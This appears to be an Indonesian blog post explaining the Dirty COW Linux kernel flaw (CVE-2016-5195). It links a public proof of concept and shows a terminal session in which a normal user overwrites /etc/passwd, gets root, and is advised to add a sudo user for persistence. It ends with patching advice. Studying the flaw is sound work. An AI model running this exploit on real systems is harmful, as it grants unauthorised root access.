CVE-2016-5195 - Dirty COW Local Privilege Escalation

Celah cukup berbahaya pada kernel Linux baru saja ditemukan. Nama COW sendiri berasal dari mekanisme copy-on-write (COW) dalam kernel Linux, yang mana exploit ini sendiri memungkinkan "unprivileged" user untuk memodifikasi file yang sifatnya read only.

Exploit ini tentu sangat berbahaya mengingat bisa saja attacker menginstall malware dalam sistem untuk mendapatkan akses administrator atau root.

Bahkan pada CVE-2016-5195, kita bisa memanfaatkan celah Dirty COW ini untuk melakukan eskalasi user, mendapatkan hak akses root dengan melakukan overwrite file /etc/passwd.


PoC:
  • https://github.com/FireFart/dirtycow/blob/master/dirty.c
santa@christmas:~$ id
uid=1001(santa) gid=1003(santa) groups=1003(santa)
santa@christmas:~$ uname -a
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
santa@christmas:~$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"
santa@christmas:~$ ./dirtycow password123
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: password123
Complete line:
root:rox7Jdqy.byUU:0:0:pwned:/root:/bin/bash

mmap: 7fa82a432000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created
You can log in with username root and password password123.


DON'T FORGET TO RESTORE /etc/passwd FROM /tmp/passwd.bak !!!

Done! Check /etc/passwd to see if the new user was created
You can log in with username root and password password123.


DON'T FORGET TO RESTORE /etc/passwd FROM /tmp/passwd.bak !!!

santa@christmas:~$ head -n3 /etc/passwd
root:rox7Jdqy.byUU:0:0:pwned:/root:/bin/bash
/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
santa@christmas:~$ su root
Password: 
root@christmas:/home/santa# id
uid=0(root) gid=0(root) groups=0(root)
Jangan lupa, setelah melakukan persistence dengan menambahkan sudo user, restore kembali /etc/passwd dari /tmp/passwd.bak.

Celah ini telah ada sejak kernel 2.6.22 (released in 2007) dan diyakini juga menyerang android, karena juga menggunakan linux kernel. celah ini sendiri telah ditutup pada Oct 18, 2016.
Di sittus Dirty COW sendiri juga telah disebutkan dampak dari exploit ini:
  • An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
  • This flaw allows an attacker with a local system account to modify on-disk binaries, bypassing the standard permission mechanisms that would prevent modification without an appropriate permission set.
Untuk penjelasan lebih lanjut mengenai bug dan PoC exploit ini bisa kalian baca sendiri di :
Untuk melakukan patching, cukup upgrade versi kernel yang kalian pakai karena kernel linux terbaru sudah menutup celah ini. Bahkan vendor besar seperti Debian, RedHat, dan Ubuntu telah melakukan perbaikan untuk distribusi linux mereka masing masing.

Referensi:
  • https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

Posting Komentar untuk "CVE-2016-5195 - Dirty COW Local Privilege Escalation"